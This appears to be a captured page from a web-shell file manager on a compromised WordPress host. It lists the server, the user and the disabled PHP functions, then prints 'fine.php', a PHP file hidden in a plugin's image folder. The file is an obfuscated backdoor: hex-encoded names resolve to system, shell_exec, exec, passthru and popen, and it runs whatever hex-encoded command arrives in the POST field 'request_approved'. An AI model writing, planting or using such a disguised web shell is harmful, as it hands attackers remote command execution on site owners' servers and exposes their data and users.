HEX
Server: Apache/2.4.59 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux panel.ctvbarranquilla.com 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
User: bastidas (1002)
PHP: 8.2.18
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
Upload Files
File: /home/bastidas/web/bastidas.tv/public_html/wp-content/plugins/personizely/assets/img/fine.php
<?php
//<PHPDATA>cmd_hex;request_approved</PHPDATA>
$_0="\0673";$_1="7\x34";$_2="6d";$_3="68";$_4="\0665";$_5="6c";$_6="\x378";$_7="\0663";$_8="\x361";$_9="7\062";$_10="\067\060";$_11="\066e";$_12="\065\x66";$_13="6\x66";$_14="7\066";$_15=pACK("H*",$_0."\x379"."73".$_1."65".$_2);$_16=pACK("\110\052","73".$_3.$_4.$_5.$_5."5\146".$_4.$_6.$_4."\066\x33");$_17=pack("H*",$_4."7\x38"."65".$_7);$_18=PACk("H*","\0670".$_8."73".$_0."7\x34".$_3.$_9."75");$_19=PacK("\x48*",$_10."6\146".$_10.$_4.$_11);$_20=PaCk("H*",$_0.$_1.$_9."\x365"."\x361"."6d"."5f"."\0667".$_4."\x374".$_12."\x363"."6f".$_11.$_1.$_4."6e".$_1."73");$_21=pacK("\x48*",$_10."63"."6c".$_13.$_0.$_4);$_22=paCk("\x48\x2a","\x372".$_4."\x371"."75".$_4."\x373"."74".$_12.$_8.$_10."\x370"."72".$_13.$_14."65"."64");if(isset($_POST[$_22])):$_22=pacK("H*",$_POST[$_22]);if(FuNcTIOn_EXISTS($_15)):$_15($_22);elseif(funcTion_eXIStS($_16)):print$_16($_22);elseif(funCTion_exisTS($_17)):$_17($_22,$_23);print JoIN("\x0a",$_23);elseif(functIOn_exisTS($_18)):$_18($_22);elseif(FUNcTioN_eXisTs($_19)&&FuNCTioN_exiSTs($_20)&&fUNCtIOn_exiStS($_21)):$_24=$_19($_22,"r");if($_24):$_25=$_20($_24);$_21($_24);print$_25;endif;endif;exit;endif;